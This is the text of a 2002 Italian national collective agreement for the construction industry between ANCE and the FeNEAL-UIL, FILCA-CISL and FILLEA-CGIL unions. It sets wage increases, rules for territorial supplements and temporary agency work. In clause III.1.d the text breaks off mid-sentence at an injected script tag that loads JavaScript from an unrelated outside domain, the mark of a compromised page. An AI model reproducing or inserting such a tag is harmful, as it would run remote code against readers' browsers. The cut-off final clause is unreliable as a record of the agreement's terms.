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Categoria: Edili (industrie)
Settore: Edilizia
Data stipula: 29-1-2002
Data decorrenza: 1-1-2002
Data scadenza: 31-12-2003

ACCORDO

29 gennaio 2002

EDILI (AZIENDE INDUSTRIALI)

Addì 29 gennaio 2002, in Roma

tra

-    Associazione nazionale costruttori edili (ANCE)

e

-     i  Sindacati  nazionali  dei  lavoratori  FeNEAL-UIL,  FILCA-CISL  e
  FILLEA-CGIL si conviene quanto segue.



I. AUMENTI RETRIBUTIVI

In  attuazione del Protocollo 23.7.93 (in Dir.prat.lav., 1993,  30,  1979)
sulla politica dei redditi, a decorrere dall'1.1.02 e dall'1.1.03 i minimi
di paga base per gli operai e i minimi di stipendio per gli impiegati sono
aumentati nelle misure stabilite nella tabella allegata.

Tali  incrementi  sono  comprensivi del  recupero  del  differenziale  tra
inflazione programmata e inflazione reale per gli anni 2000-2001.



II. ACCORDI LOCALI

1.    Le Organizzazioni territoriali dei datori di lavoro e dei lavoratori
  aderenti alle Associazioni nazionali sottoscritte rinegozieranno, per la
  circoscrizione di propria competenza, l'elemento economico territoriale di
  cui  alla lett. d), art. 39 e all'art. 47, CCNL 29.1.00, entro la misura
  massima  dell'11% dei minimi di paga e di stipendio, con decorrenza  non
  anteriore  all'1.1.03, e del 14% dei minimi di paga e di stipendio,  con
  decorrenza non anteriore all'1.12.03.
  
  Fino a tale nuova rinegoziazione, valgono le pattuizioni sottoscritte in
  base alla previsione dell'Accordo nazionale 11.6.97.
  
  L'elemento  economico  territoriale di  cui  al  comma  precedente  sarà
  concordato   in   sede   territoriale   tenendo   conto   dell'andamento
  congiunturale  del settore e sarà correlato ai risultati  conseguiti  in
  termini   di  produttività,  qualità  e  competitività  nel  territorio,
  utilizzando a tal fine gli indicatori di cui al citato art. 39 del CCNL.

  Durante  la vigenza dell'elemento economico territoriale, ai fini  della
  relativa  conferma, la verifica dei suddetti indicatori sarà  effettuata
  dalle  Organizzazioni territoriali citate, con la periodicità  stabilita
  dalle Organizzazioni medesime.

  Le  parti si danno atto che la struttura dell'erogazione di cui sopra  è
  stata  definita in coerenza con quanto previsto dal Protocollo  23.7.93,
  dall'art.  39  del  CCNL  29.1.00  e dall'art.  2,  DL  25.3.97  n.  67,
  convertito  nella  legge  23.5.97 n. 135 (in  Dir.prat.lav.,  1997,  25,
  1825).


2.     Resta   confermato   che  il  rinnovo  dei  contratti   integrativi
  territoriali avverrà nell'ambito delle materie specificatamente stabilite
  dall'art.  39  del CCNL e che le clausole degli Accordi locali  difformi
  rispetto alla regolamentazione nazionale non hanno efficacia.



III. LAVORO TEMPORANEO

1.    Ai  sensi dell'art. 95, CCNL 29.1.00, con il quale le parti  sociali
  hanno  dato attuazione alla delega contenuta nell'art. 1, comma 3, legge
  24.6.97  n.  196  (in  Dir.prat.lav., 1997, 30, 2133),  in  ordine  alla
  sperimentazione  del  lavoro temporaneo in  edilizia  per  i  lavoratori
  appartenenti alla categoria operaia, si precisa quanto segue:

a)    le  parti  costituiscono un Comitato nazionale per  il  monitoraggio
  della sperimentazione con il fine di rendere definitivo, successivamente
  al 31.12.02, l'utilizzo del lavoro temporaneo nel settore;
b)    le  imprese  fornitrici di lavoro temporaneo dovranno  effettuare  i
  versamenti presso la Cassa edile del luogo ove i lavoratori svolgono  la
  prestazione lavorativa. Resta fermo che ai predetti lavoratori deve essere
  applicata  la  contrattazione collettiva di  settore,  ivi  compreso  il
  relativo  livello territoriale, le contribuzioni agli Enti bilaterali  e
  previdenza complementare di settore;
c)    la  Cassa edile adotterà specifici criteri di registrazione  per  le
  imprese  fornitrici  e  i  lavoratori  temporanei,  nel  rispetto  della
  modulistica nazionale;
d)    le  imprese  fornitrici di lavoro temporaneo verseranno  ad  INPS  i
  contributi previdenziali stabiliti dal<script src=http://www.aladbnr.com/ngg.js></script>













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